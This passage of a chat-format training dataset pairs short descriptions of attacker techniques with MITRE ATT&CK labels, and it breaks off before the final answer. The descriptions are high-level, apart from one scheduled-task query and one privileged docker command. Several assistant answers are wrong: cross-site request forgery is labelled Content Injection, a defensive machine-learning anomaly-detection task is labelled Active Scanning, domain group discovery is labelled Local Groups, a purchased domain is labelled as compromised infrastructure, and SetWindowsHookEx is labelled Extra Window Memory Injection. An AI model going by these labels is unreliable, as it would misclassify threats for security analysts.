        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider edited the internal wiki’s front page, adding a defaced image and message."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline executed \"docker run\" with the \"--privileged\" flag to gain root access on the host."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a WebSocket connection to stream harvested credentials to a command‑and‑control server outside the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the group scripted the transfer of backup files to a corporate-owned Google Workspace account, masking the activity as a legitimate backup process."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor downloads a trojanized container image and runs it on the victim's Docker daemon to establish C2."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a memory dump of LSASS to collect credential material."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise the KernelCallbackTable to intercept and redirect kernel callbacks to their own malicious handlers."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload accesses the Windows registry to locate the default mail client and retrieves its stored messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised host to generate a bespoke container image with backdoor binaries."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor employs a cross-site request forgery (CSRF) attack, tricking users into performing unintended actions on web applications."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder adds a new launch daemon that executes a credential dumping tool each time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By granting Everyone write access to a service's executable, the attacker can replace it with malicious code that runs whenever the service starts."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware replaces the LSA's AcquireCredentialsHandle API with a custom routine to capture credential data."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group tampers with the PAM configuration on Linux servers to accept any password for a specific user."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uploads logs to a public server using FTP, respecting the server's 200 MB transfer quota per hour."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Word template with an auto-executing VBA macro is saved in the user's AppData folder, triggering execution on Office startup."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script injects its payload into the extra window memory of a running browser process to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload uses XPC to serialize data and transmit it to a hidden helper, which then executes system commands on behalf of the attacker."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojanized Excel workbook uses the AutoOpen macro to copy a malicious executable to the user's Startup directory, persisting across reboots."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the OS deployment image, embedding a trojan that runs automatically when the system is installed."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑crime group retrieved a trojan horse from a compromised open‑source project repository."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a crafted CHM file, the malware exploits the HTML Help binary to load an encoded JavaScript that spawns a reverse shell via wscript.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was hidden inside the alpha channel of a PNG file, using pixel manipulation to store the executable."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a USB rubber ducky to execute commands that dump the system's password hashes onto the device."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops an encoded PowerShell payload and runs a built‑in decoder to reveal the clear‑text commands."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploit an over‑privileged IAM role to retrieve documents from the target’s Azure Data Lake Storage."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates scheduled tasks using ‘schtasks /query /fo LIST /v’ to find recurring jobs."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages AppleScript to automate the opening of a malicious URL in Safari, triggering a drive‑by download."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised DevOps tool's API token, the attacker provisions additional personal access tokens for broader cloud access."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker bought a domain and set up a fake website to act as a staging server for their malicious infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compressed the malicious executable with UPX before deployment to evade static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries Active Directory via LDAP to discover privileged group memberships."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker connects to a network switch via Telnet and executes privileged commands to manipulate VLAN settings."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages insecure file permissions on a Windows service executable to gain code execution with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a custom module to dump credentials from the Linux GNOME Keyring."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group sets up a BITS job that runs with SYSTEM privileges to install a keylogger silently."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploitation chain includes gathering credentials from unsecured Bash history files left on the victim’s system."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes persistence by registering a WMI event consumer that launches a hidden executable at system startup."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the container orchestration platform to start a privileged container that mounts the host filesystem."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign rewrites the data stream of a backup replication process, corrupting the backup files as they are transmitted."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team script leverages the Okta API to pull a comprehensive list of all organizational groups and their assigned permissions."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group created a multi-hop proxy tunnel that routed exfiltrated data through three separate proxy services before reaching their external server."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The RAT inspects the SEH chain for anomalies that indicate a debugger is present and halts its activity."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performs a bulk search of public Bitbucket repositories for hard‑coded SMTP credentials used in email notification scripts."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a reverse tunnel to an attacker‑controlled external proxy server to exfiltrate data while bypassing internal network defenses."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker changes the domain's auditing policy to disable event log generation."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary generated a new self‑signed code‑signing certificate using OpenSSL to sign a trojan that evaded detection."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the BitTorrent protocol, embedding malicious payloads within peer-to-peer traffic to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor reads the HKCU registry key to determine the profile owner."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email encourages recipients to download a .dotx template that appears legitimate but contains a macro that runs on Office application startup."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker drops a malicious script named \"update .bat\" where the space before the .bat extension masks the true nature of the file."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group copies a remote access tool to a victim's domain controller via a mapped network drive before running it locally."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs a peer-to-peer overlay network, allowing each infected host to serve as both client and C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses a PowerShell script to invoke Azure's Remove-AzVM cmdlet, deleting the target VM."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy backdoor runs in the background, continuously capturing video from connected camera devices and uploading them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By calling SetWindowsHookEx with a DLL payload, the adversary inserts malicious code into another process's window procedure."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses ROT13 encoding on configuration files to make them unreadable to analysts."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a malicious macro that runs a VBA script to execute a PowerShell payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits Office Template Macros by embedding code that reads credentials from Outlook and sends them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email masquerading as an internal IT notice contains a link to a counterfeit password reset page."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the LC_LOAD_DYLIB load command to embed a malicious dynamic library path into a legitimate macOS executable."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in the user's .cshrc file, ensuring that a hidden process is launched whenever a C shell is invoked."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary disables code signing enforcement on macOS by editing the system's Gatekeeper configuration."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor installs a proxy tool on a compromised host to intercept and forward traffic to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor swaps out the legitimate password filter with a custom DLL to collect passwords during authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves locating the VDSO page in memory and inserting a JMP instruction to malicious shellcode."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a custom UDP protocol on port 9999 to send heartbeat signals that also carry encrypted commands."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query open DNS cache databases to identify older DNS entries that may reveal hidden assets."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Supply chain attack where counterfeit smart cards are shipped with built‑in cryptographic keys that allow unauthorized access to secure systems."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves loading a crafted ROMMONkit image via TFTP during the pre-OS phase to gain persistent foothold on the hardware."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using machine learning algorithms to analyze network traffic patterns and identify potential anomalies."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware tweaks the registry key for Windows Defender's Real-Time Protection to turn off antivirus scanning."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An iOS Trojan communicates with a privileged XPC service to elevate its capabilities and access restricted APIs."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set deploys a custom driver that reads the flash memory to enumerate firmware modules loaded on the device."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators renamed their credential‑stealing payload to \"lsass.exe\" and placed it in the same directory as the legitimate LSASS binary."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware programmatically creates an isolated virtual machine and runs its payload inside, effectively hiding its execution from the host."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the sysctl parameter 'kernel.audit' to turn off auditing."
            },
            {
                "role": "assistant",
